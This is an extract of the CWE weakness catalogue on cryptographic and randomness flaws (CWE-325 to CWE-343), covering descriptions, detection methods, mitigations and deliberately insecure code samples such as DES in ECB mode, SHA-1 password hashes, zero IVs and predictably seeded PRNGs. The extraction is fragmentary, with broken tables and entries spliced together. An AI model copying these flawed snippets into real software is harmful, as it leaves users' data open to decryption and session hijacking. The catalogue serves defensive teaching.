The software does not implement a required step in a cryptographic algorithm, resulting in weaker encryption than advertised by that algorithm.

Extended Description
Cryptographic implementations should follow the algorithms that define them exactly, otherwise encryption can be weaker than expected.

Time of Introduction
- Architecture and Design
- Requirements

Applicable Platforms
Languages
- All
**Modes of Introduction**
Developers sometimes omit certain "expensive" (resource-intensive) steps in order to improve performance, especially in devices with limited memory or CPU cycles. This could be done under a mistaken impression that the step is unnecessary for preserving security. Alternately, the developer might adopt a threat model that is inconsistent with that of its consumers by accepting a risk for which the remaining protection seems "good enough."

This issue can be introduced when the requirements for the algorithm are not clearly stated.

**Common Consequences**

<table>
<thead>
<tr>
<th>Access Control</th>
<th>Bypass protection mechanism</th>

572
CWE-326: Inadequate Encryption Strength

Description

Summary
The software stores or transmits sensitive data using an encryption scheme that is theoretically
sound, but is not strong enough for the level of protection required.

Extended Description
A weak encryption scheme can be subjected to brute force attacks that have a reasonable
chance of succeeding using current attack methods and resources.

Time of Introduction

• Architecture and Design

Applicable Platforms

Languages
• All

Common Consequences

Access Control
Confidentiality
Bypass protection mechanism
Read application data
An attacker may be able to decrypt the data using brute force attacks.

Observed Examples

Reference | Description
--- | ---
CVE-2001-1546 | Weak encryption
CVE-2002-1682 | Weak encryption
CVE-2002-1697 | Weak encryption produces same ciphertext from the same plaintext blocks.
CVE-2002-1739 | Weak encryption
CVE-2002-1872 | Weak encryption (XOR)
CVE-2002-1910 | Weak encryption (reversible algorithm).
CVE-2002-1946 | Weak encryption (one-to-one mapping).
CVE-2002-1975 | Encryption error uses fixed salt, simplifying brute force / dictionary attacks (overlaps
randomness).
CVE-2004-2172 | Weak encryption (chosen plaintext attack)
CVE-2005-2281 | Weak encryption scheme

Potential Mitigations

Architecture and Design
Use a cryptographic algorithm that is currently considered to be strong by experts in the field.

CWE-327: Use of a Broken or Risky Cryptographic Algorithm

Description

Summary
The use of a broken or risky cryptographic algorithm is an unnecessary risk that may result in the exposure of sensitive information.

Extended Description
The use of a non-standard algorithm is dangerous because a determined attacker may be able to break the algorithm and compromise whatever data has been protected. Well-known techniques may exist to break the algorithm.

Time of Introduction
• Architecture and Design

Applicable Platforms

Languages
• Language-independent

Common Consequences

Confidentiality
Read application data
The confidentiality of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.

Integrity
Modify application data
The integrity of sensitive data may be compromised by the use of a broken or risky cryptographic algorithm.

Accountability
Non-Repudiation
Hide activities
If the cryptographic algorithm is used to ensure the identity of the source of the data (such as digital signatures), then a broken algorithm will compromise this scheme and the source of the data cannot be proven.
Likelihood of Exploit
Medium to High

Detection Methods

Automated Analysis
Moderate
Automated methods may be useful for recognizing commonly-used libraries or features that have become obsolete.
False negatives may occur if the tool is not aware of the cryptographic libraries in use, or if custom cryptography is being used.

Manual Analysis
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Automated Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Binary Weakness Analysis - including disassembler + source code weakness analysis
Binary / Bytecode simple extractor – strings, ELF readers, etc.

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners

Dynamic Analysis with manual results interpretation
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Man-in-the-middle attack tool
Cost effective for partial coverage:
Framework-based Fuzzer
Automated Monitored Execution
Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Manual Static Analysis - Source Code
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Manual Source Code Review (not inspections)
Cost effective for partial coverage:
Focused Manual Spotcheck - Focused manual analysis of source
Automated Static Analysis - Source Code

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

Automated Static Analysis

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Configuration Checker

Architecture / Design Review

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

These code examples use the Data Encryption Standard (DES).

C/C++ Example: Bad Code
```
EVP_des_ecb();
```

Java Example: Bad Code
```
Cipher des=Cipher.getInstance("DES");
des.initEncrypt(key2);
```

PHP Example: Bad Code
```
function encryptPassword($password){
    $iv_size = mcrypt_get_iv_size(MCRYPT_DES, MCRYPT_MODE_ECB);
    $iv = mcrypt_create_iv($iv_size, MCRYPT_RAND);
    $key = "This is a password encryption key";
    $encryptedPassword = mcrypt_encrypt(MCRYPT_DES, $key, $password, MCRYPT_MODE_ECB, $iv);
    return $encryptedPassword;
}
```

Once considered a strong algorithm, DES now regarded as insufficient for many applications. It has been replaced by Advanced Encryption Standard (AES).

Observed Examples

<td>Product uses &quot;ROT-25&quot; to obfuscate the password in the registry.</td>
</tr>
</tbody>
</table>

Potential Mitigations
Architecture and Design
Libraries or Frameworks
When there is a need to store or transmit sensitive data, use strong, up-to-date cryptographic algorithms to encrypt that data. Select a well-vetted algorithm that is currently considered to be strong by experts in the field, and use well-tested implementations. As with all cryptographic mechanisms, the source code should be available for analysis.
For example, US government systems require FIPS 140-2 certification.
Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. Reverse engineering techniques are mature. If the algorithm can be compromised if attackers find out how it works, then it is especially weak.
Periodically ensure that the cryptography has not become obsolete. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong.
[R.327.4]
Architecture and Design
Design the software so that one cryptographic algorithm can be replaced with another. This will make it easier to upgrade to stronger algorithms.

Architecture and Design
Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
Industry-standard implementations will save development time and may be more likely to avoid errors that can occur during implementation of cryptographic algorithms. Consider the ESAPI Encryption feature.

Implementation
Architecture and Design
When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Background Details
Cryptographic algorithms are the methods by which data is scrambled. There are a small number of well-understood and heavily studied algorithms that should be used by most applications. It is quite difficult to produce a secure algorithm, and even high profile algorithms by accomplished cryptographic experts have been broken.
Since the state of cryptography advances so rapidly, it is common for an algorithm to be considered "unsafe" even if it was once thought to be strong. This can happen when new attacks against the algorithm are discovered, or if computing power increases so much that the cryptographic algorithm no longer provides the amount of protection that was originally thought.

#### Maintenance Notes
Relationships between CWE-310, CWE-326, and CWE-327 and all their children need to be reviewed and reorganized.

### CWE-328: Reversible One-Way Hash

**Weakness ID:** 328 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**

The product uses a hashing algorithm that produces a hash value that can be used to determine the original input, or to find an input that can produce the same hash, more efficiently than brute force techniques.

**Extended Description**

This weakness is especially dangerous when the hash is used in security algorithms that require the one-way property to hold. For example, if an authentication system takes an incoming password and generates a hash, then compares the hash to another hash that it has stored in its authentication database, then the ability to create a collision could allow an attacker to provide an alternate password that produces the same target hash, bypassing authentication.

**Time of Introduction**

- Architecture and Design

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Access Control**

**Bypass protection mechanism**

**Demonstrative Examples**

In both of these examples, a user is logged in if their given password matches a stored password:

**C Example:**

```c
unsigned char *check_passwd(char *plaintext) {
  ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
  //Login if hash matches stored hash
  if (equal(ctext, secret_password())) {
    login_user();
  }
}
```

**Java Example:**

```java
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
  login_user();
}
```

This code uses the SHA-1 hash on user passwords, but the SHA-1 algorithm is no longer considered secure. Note this code also exhibits CWE-759 (Use of a One-Way Hash without a Salt).

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-4068</td>
<td>Hard-coded hashed values for username and password contained in client-side script, allowing brute-force offline attacks.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**
Architecture and Design

High

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use.

Some hash functions that have one or more of these desired properties include bcrypt [R.328.1], scrypt [R.328.2], and PBKDF2 [R.328.3]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead.

Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Alexander Sotirov et al.. "MD5 considered harmful today". <http://www.phreedom.org/research/rogue-ca/>.
CWE-329: Not Using a Random IV with CBC Mode

**Weakness ID:** 329 *(Weakness Variant)*  
**Status:** Draft

### Description

#### Summary
Not using a random initialization Vector (IV) with Cipher Block Chaining (CBC) Mode causes algorithms to be susceptible to dictionary attacks.

### Time of Introduction
- Architecture and Design
- Implementation

### Applicable Platforms
- Languages
  - All

### Common Consequences

#### Confidentiality
- Read application data
  - Other
  - If the CBC is not properly initialized, data that is encrypted can be compromised and therefore be read.

#### Integrity
- Modify application data
  - Other
  - If the CBC is not properly initialized, encrypted data could be tampered with in transfer.

#### Access Control
- Other
  - Bypass protection mechanism
    - Other
    - Cryptographic based authentication systems could be defeated.

### Likelihood of Exploit
- Medium

### Demonstrative Examples

In the following examples, CBC mode is used when encrypting data:

#### C/C++ Example:

```c
EVP_CIPHER_CTX ctx;
char key[EVP_MAX_KEY_LENGTH];
char iv[EVP_MAX_IV_LENGTH];
RAND_bytes(key, b);
memset(iv,0,EVP_MAX_IV_LENGTH);
EVP_EncryptInit(&ctx,EVP_bf_cbc(), key,iv);
```

#### Java Example:

```java
public class SymmetricCipherTest {
    public static void main() {
        byte[] text = "Secret".getBytes();
        byte[] iv = {
                0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
        };
        KeyGenerator kg = KeyGenerator.getInstance("DES");
        kg.init(56);
        SecretKey key = kg.generateKey();
        Cipher cipher = Cipher.getInstance("DES/ECB/PKCS5Padding");
        IvParameterSpec ips = new IvParameterSpec(iv);
        cipher.init(Cipher.ENCRYPT_MODE, key, ips);
        return cipher.doFinal(inpBytes);
    }
}
```
In both of these examples, the initialization vector (IV) is always a block of zeros. This makes the resulting cipher text much more predictable and susceptible to a dictionary attack.

**Potential Mitigations**

**Implementation**

It is important to properly initialize CBC operating block ciphers or their utility is lost.

**Background Details**

CBC is the most commonly used mode of operation for a block cipher. It solves electronic code book's dictionary problems by XORing the ciphertext with plaintext. If it used to encrypt multiple data streams, dictionary attacks are possible, provided that the streams have a common beginning sequence.

---

**CWE-330: Use of Insufficiently Random Values**

**Weakness ID: 330 (Weakness Class)**

**Status:** Usable

**Description**

**Summary**

The software may use insufficiently random numbers or values in a security context that depends on unpredictable numbers.

**Extended Description**

When software generates predictable values in a context requiring unpredictability, it may be possible for an attacker to guess the next value that will be generated, and use this guess to impersonate another user or access sensitive information.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- Language-independent

**Common Consequences**

- Confidentiality
- Other
- Other

When a protection mechanism relies on random values to restrict access to a sensitive resource, such as a session ID or a seed for generating a cryptographic key, then the resource being protected could be accessed by guessing the ID or key.
If software relies on unique, unguessable IDs to identify a resource, an attacker might be able to guess an ID for a resource that is owned by another user. The attacker could then read the resource, or pre-create a resource with the same ID to prevent the legitimate program from properly sending the resource to the intended user. For example, a product might maintain session information in a file whose name is based on a username. An attacker could pre-create this file for a victim user, then set the permissions so that the application cannot generate the session for the victim, preventing the victim from using the application.

**Access Control**

**Bypass protection mechanism**

**Gain privileges / assume identity**

When an authorization or authentication mechanism relies on random values to restrict access to restricted functionality, such as a session ID or a seed for generating a cryptographic key, then an attacker may access the restricted functionality by guessing the ID or key.

**Likelihood of Exploit**

Medium to High

**Detection Methods**

**Black Box**

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and look for library functions that indicate when randomness is being used. Run the process multiple times to see if the seed changes. Look for accesses of devices or equivalent resources that are commonly used for strong (or weak) randomness, such as /dev/urandom on Linux. Look for library or system calls that access predictable information such as process IDs and system time.

**Automated Static Analysis - Binary / Bytecode**

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Bytecode Weakness Analysis - including disassembler + source code weakness analysis
  - Binary Weakness Analysis - including disassembler + source code weakness analysis

**Manual Static Analysis - Binary / Bytecode**

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

**Dynamic Analysis with manual results interpretation**

SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Man-in-the-middle attack tool
**Manual Static Analysis - Source Code**

SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Focused Manual Spotcheck - Focused manual analysis of source
  - Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code**

SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  - Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer

**Architecture / Design Review**

SOAR High
According to SOAR, the following detection techniques may be useful:
- Highly cost effective:
  - Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Demonstrative Examples**

**Example 1:**
This code generates a unique random identifier for a user's session.

**PHP Example:**

```php
function generateSessionID($userID){
    srand($userID);
    return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session. This example also exhibits a Small Seed Space (CWE-339).

**Example 2:**
The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

**Java Example:**

```java
String GenerateReceiptURL(String baseUrl) {
    Random ranGen = new Random();
    ranGen.setSeed((new Date()).getTime());
    return(baseUrl + ranGen.nextInt(400000000) + ".html");
}
```

This code uses the Random.nextInt() function to generate "unique" identifiers for the receipt pages it generates. Because Random.nextInt() is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

**Observed Examples**

</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

Use a well-vetted algorithm that is currently considered to be strong by experts in the field, and select well-tested implementations with adequate length seeds.

In general, if a pseudo-random number generator is not advertised as being cryptographically secure, then it is probably a statistical PRNG and should not be used in security-sensitive contexts.

Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

**Implementation**

Consider a PRNG that re-seeds itself as needed from high quality pseudo-random output sources, such as hardware devices.

**Testing**

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

**Architecture and Design**

**Requirements**

**Libraries or Frameworks**

Use products or modules that conform to FIPS 140-2 [R.330.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

**Testing**

Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

**Background Details**

Computers are deterministic machines, and as such are unable to produce true randomness. Pseudo-Random Number Generators (PRNGs) approximate randomness algorithmically, starting with a seed from which subsequent values are calculated. There are two types of PRNGs: statistical and cryptographic. Statistical PRNGs provide useful statistical properties, but their output is highly predictable and forms an easy to reproduce numeric stream that is unsuitable for use in cases where security depends on generated values being unpredictable. Cryptographic PRNGs address this problem by generating output that is more difficult to predict. For a value to be cryptographically secure, it must be impossible or highly improbable for an attacker to distinguish between it and a truly random value.

**Weakness Ordinalities**
Primary (where the weakness exists independent of other weaknesses)

586
CWE Version 2.11

CWE-331: Insufficient Entropy

Weakness ID: 331 (Weakness Base) Status: Draft

Description

Summary
The software uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• All

Common Consequences
Access Control
Other
Bypass protection mechanism
Other
An attacker could guess the random numbers generated and could gain unauthorized access to a system if the random numbers are used for authentication and authorization.

Demonstrative Examples
Example 1:
This code generates a unique random identifier for a user's session.

PHP Example:
```php
function generateSessionID($userID){
    srand($userID);
    return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session.
This example also exhibits a Small Seed Space (CWE-339).

Example 2:
The following code uses a statistical PRNG to create a URL for a receipt that remains active for some period of time after a purchase.

Java Example:

```java
public String GenerateReceiptURL(String baseUrl) {
    Random ranGen = new Random();
    ranGen.setSeed((new Date()).getTime());
    return(baseUrl + ranGen.nextInt(400000000) + ".html");
}
```

This code uses the Random.nextInt() function to generate "unique" identifiers for the receipt pages it generates. Because Random.nextInt() is a statistical PRNG, it is easy for an attacker to guess the strings it generates. Although the underlying design of the receipt system is also faulty, it would be more secure if it used a random number generator that did not produce predictable receipt identifiers, such as a cryptographic PRNG.

Potential Mitigations

Implementation

Determine the necessary entropy to adequately provide for randomness and predictability. This can be achieved by increasing the number of bits of objects such as keys and seeds.

References

Applicable Platforms
Languages
• All

Common Consequences
Availability
DoS: crash / exit / restart
If a pseudo-random number generator is using a limited entropy source which runs out (if the generator fails closed), the program may pause or crash.

Access Control
Other
Bypass protection mechanism
Other
If a PRNG is using a limited entropy source which runs out, and the generator fails open, the generator could produce predictable random numbers. Potentially a weak source of random numbers could weaken the encryption method used for authentication of users.

Likelihood of Exploit
Medium

Potential Mitigations
Architecture and Design
Requirements
Libraries or Frameworks
Use products or modules that conform to FIPS 140-2 [R.332.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C (“Approved Random Number Generators”).

Implementation
Consider a PRNG that re-seeds itself as needed from high-quality pseudo-random output, such as hardware devices.

Architecture and Design
When deciding which PRNG to use, look at its sources of entropy. Depending on what your security needs are, you may need to use a random number generator that always uses strong random data -- i.e., a random number generator that attempts to be strong but will fail in a weak way or will always provide some middle ground of protection through techniques like re-seeding. Generally, something that always provides a predictable amount of strength is preferable.

CWE-333: Improper Handling of Insufficient Entropy in TRNG

Weakness ID: 333 (Weakness Variant) Status: Draft

Description
Summary
True random number generators (TRNG) generally have a limited source of entropy and therefore can fail or block.

Extended Description
The rate at which true random numbers can be generated is limited. It is important that one uses them only when they are needed for security.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Availability
DoS: crash / exit / restart
A program may crash or block if it runs out of random numbers.

Likelihood of Exploit
Low to Medium

Demonstrative Examples
This code uses a TRNG to generate a unique session id for new connections to a server:

C Example:
```c
while (1){
    if (haveNewConnection()){
        if (hwRandom()){
            int sessionID = hwRandom();
            createNewConnection(sessionID);
        }
    }
}
```

This code does not attempt to limit the number of new connections or make sure the TRNG can successfully generate a new random number. An attacker may be able to create many new connections and exhaust the entropy of the TRNG. The TRNG may then block and cause the program to crash or hang.

Potential Mitigations
Implementation
Rather than failing on a lack of random numbers, it is often preferable to wait for more numbers to be created.

CWE-334: Small Space of Random Values

Weakness ID: 334 (Weakness Base) Status: Draft

Description

Summary
The number of possible random values is smaller than needed by the product, making it more susceptible to brute force attacks.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms
- Languages
  - All

Common Consequences
- Access Control
- Other
- Bypass protection mechanism
- Other
  - An attacker could easily guess the values used. This could lead to unauthorized access to a system if the seed is used for authentication and authorization.

Demonstrative Examples
The following XML example code is a deployment descriptor for a Java web application deployed on a Sun Java Application Server. This deployment descriptor includes a session configuration property for configuring the session ID length.

XML Example:

```xml
<session-config>
  <session-properties>
    <property name="idLengthBytes" value="8">
      <description>The number of bytes in this web module's session ID.</description>
    </property>
  </session-properties>
</session-config>
```

This deployment descriptor has set the session ID length for this Java web application to 8 bytes (or 64 bits). The session ID length for Java web applications should be set to 16 bytes (128 bits) to prevent attackers from guessing and/or stealing a session ID and taking over a user's session.

Note for most application servers including the Sun Java Application Server the session ID length is by default set to 128 bits and should not be changed. And for many application servers the session ID length cannot be changed from this default setting. Check your application server documentation for the session ID length default setting and configuration options to ensure that the session ID length is set to 128 bits.

Relationships
CWE Version 2.11
CWE-335: PRNG Seed Error

Weakness ID: 335 (Weakness Class) Status: Draft

Description

Summary
A Pseudo-Random Number Generator (PRNG) uses seeds incorrectly.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms
Languages
• All

Common Consequences
Access Control
Other
Bypass protection mechanism
Other
if a PRNG is used incorrectly, such as using the same seed for each initialization or using a predictable seed, then an attacker may be able to easily guess the seed and thus the random numbers. This could lead to unauthorized access to a system if the seed is used for authentication and authorization.

CWE-336: Same Seed in PRNG

Weakness ID: 336 (Weakness Base)  Status: Draft

Description

Summary
A PRNG uses the same seed each time the product is initialized. If an attacker can guess (or knows) the seed, then he/she may be able to determine the "random" number produced from the PRNG.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms

Languages
- All

Common Consequences

Other
- Access Control
- Other
- Bypass protection mechanism

Demonstrative Examples

The following code uses a statistical PRNG to generate account IDs.

Java Example:

```java
private static final long SEED = 1234567890;
public int generateAccountID() {
    Random random = new Random(SEED);
    return random.nextInt();
}
```

Because the program uses the same seed value for every invocation of the PRNG, its values are predictable, making the system vulnerable to attack.

Potential Mitigations

Architecture and Design
Do not reuse PRNG seeds. Consider a PRNG that periodically re-seeds itself as needed from a high quality pseudo-random output, such as hardware devices.

Architecture and Design

Requirements

Libraries or Frameworks
Use products or modules that conform to FIPS 140-2 [R.336.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

CWE Version 2.11
CWE-337: Predictable Seed in PRNG

CWE-337: Predictable Seed in PRNG

<table>
<thead>
<tr>
<th>Weakness ID: 337</th>
<th>Status: Draft</th>
</tr>
</thead>
</table>

**Description**

**Summary**
A PRNG is initialized from a predictable seed, e.g. using process ID or system time.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**
- All

**Languages**
- All

**Common Consequences**
- Other
  - Varies by context

**Demonstrative Examples**
Both of these examples use a statistical PRNG seeded with the current value of the system clock to generate a random number:

**Java Example:**
```java
Random random = new Random(System.currentTimeMillis());
int accountID = random.nextInt();
```

**C/C++ Example:**
```c
srand(time());
int randNum = rand();
```

An attacker can easily predict the seed used by these PRNGs, and so also predict the stream of random numbers generated. Note these examples also exhibit CWE-338 (Use of Cryptographically Weak PRNG).

**Potential Mitigations**
Use non-predictable inputs for seed generation.

**Architecture and Design**
- Requirements
  - Libraries or Frameworks
    - Use products or modules that conform to FIPS 140-2 [R.337.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

**Implementation**
Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

**Relationships**

CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)

Weakness ID: 338 (Weakness Base) Status: Draft

Description

Summary
The product uses a Pseudo-Random Number Generator (PRNG) in a security context, but the PRNG is not cryptographically strong.

Extended Description
When a non-cryptographic PRNG is used in a cryptographic context, it can expose the cryptography to certain types of attacks.

Often a pseudo-random number generator (PRNG) is not designed for cryptography. Sometimes a mediocre source of randomness is sufficient or preferable for algorithms which use random numbers. Weak generators generally take less processing power and/or do not use the precious, finite, entropy sources on a system. While such PRNGs might have very useful features, these same features could be used to break the cryptography.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• Language-independent

Common Consequences

Access Control
Bypass protection mechanism
If a PRNG is used for authentication and authorization, such as a session ID or a seed for generating a cryptographic key, then an attacker may be able to easily guess the ID or cryptographic key and gain access to restricted functionality.

Likelihood of Exploit
Medium

Demonstrative Examples
Both of these examples use a statistical PRNG to generate a random number:

Java Example:
Random random = new Random(System.currentTimeMillis());
int accountID = random.nextInt();

C/C++ Example:
srand(time());
int randNum = rand();

The random number functions used in these examples, rand() and Random.nextInt(), are not considered cryptographically strong. An attacker may be able to predict the random numbers generated by these functions. Note that these example also exhibit CWE-337 (Predictable Seed in PRNG).

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2008-0166</td>
<td>SSL library uses a weak random number generator that only generates 65,536 unique keys.</td>
</tr>
</tbody>
</table>
CWE Version 2.11
CWE-339: Small Seed Space in PRNG

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2009-2367</td>
<td>Web application generates predictable session IDs, allowing session hijacking.</td>
</tr>
<tr>
<td>CVE-2009-3238</td>
<td>Random number generator can repeatedly generate the same value.</td>
</tr>
<tr>
<td>CVE-2009-3278</td>
<td>Crypto product uses rand() library function to generate a recovery key, making it easier to conduct brute force attacks.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Implementation**

Use functions or hardware which use a hardware-based random number generation for all crypto. This is the recommended solution. Use CryptGenRandom on Windows, or hw_rand() on Linux.

**References**

---

**CWE-339: Small Seed Space in PRNG**

**Weakness ID:** 339 *(Weakness Base)*  
**Status:** Draft

**Description**

**Summary**

A PRNG uses a relatively small space of seeds.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

**Other**

Varies by context

**Potential Mitigations**

**Architecture and Design**

Use well vetted pseudo-random number generating algorithms with adequate length seeds. Pseudo-random number generators can produce predictable numbers if the generator is known and the seed can be guessed. A 256-bit seed is a good starting point for producing a "random enough" number.

**Architecture and Design Requirements**

**Libraries or Frameworks**

Use products or modules that conform to FIPS 140-2 [R.339.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

**Relationships**

CWE-340: Predictability Problems

**Summary**
Weaknesses in this category are related to schemes that generate numbers or identifiers that are more predictable than required by the application.

**Time of Introduction**
- Architecture and Design
- Implementation

**Common Consequences**
- Other
  - Varies by context

---

CWE-341: Predictable from Observable State

**Summary**
A number or object is predictable based on observations that the attacker can make about the state of the system or network, such as time, process ID, etc.

**Time of Introduction**
- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**
- All

**Common Consequences**
Other

Varies by context

This weakness could be exploited by an attacker in a number ways depending on the context. If a predictable number is used to generate IDs or keys that are used within protection mechanisms, then an attacker could gain unauthorized access to the system. If predictable filenames are used for storing sensitive information, then an attacker might gain access to the system and may be able to gain access to the information in the file.

Demonstrative Examples

This code generates a unique random identifier for a user's session.

**PHP Example:**

```php
function generateSessionID($userID)
{
    srand($userID);
    return rand();
}
```

Because the seed for the PRNG is always the user's ID, the session ID will always be the same. An attacker could thus predict any user's session ID and potentially hijack the session. This example also exhibits a Small Seed Space (CWE-339).

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-0335</td>
<td>DNS resolver library uses predictable IDs, which allows a local attacker to spoof DNS query results.</td>
</tr>
<tr>
<td>CVE-2001-1141</td>
<td>PRNG allows attackers to use the output of small PRNG requests to determine the internal state information, which could be used by attackers to predict future pseudo-random numbers.</td>
</tr>
<tr>
<td>CVE-2002-0389</td>
<td>Mail server stores private mail messages with predictable filenames in a world-executable directory, which allows local users to read private mailing list archives.</td>
</tr>
<tr>
<td>CVE-2005-1636</td>
<td>MFV. predictable filename and insecure permissions allows file modification to execute SQL queries.</td>
</tr>
</tbody>
</table>

Potential Mitigations

**Implementation**

Increase the entropy used to seed a PRNG.

**Architecture and Design**

**Requirements**

**Libraries or Frameworks**

Use products or modules that conform to FIPS 140-2 [R.341.1] to avoid obvious entropy problems. Consult FIPS 140-2 Annex C ("Approved Random Number Generators").

**Implementation**

Use a PRNG that periodically re-seeds itself using input from high-quality sources, such as hardware devices with high entropy. However, do not re-seed too frequently, or else the entropy source might block.

CWE-343: Predictable Value Range from Previous Values

CWE Version 2.11
CWE-343: Predictable Value Range from Previous Values

Weakness ID: 343 (Weakness Base) Status: Draft

Description

Summary
The software's random number generator produces a series of values which, when observed, can be used to infer a relatively small range of possibilities for the next value that could be generated.

Extended Description
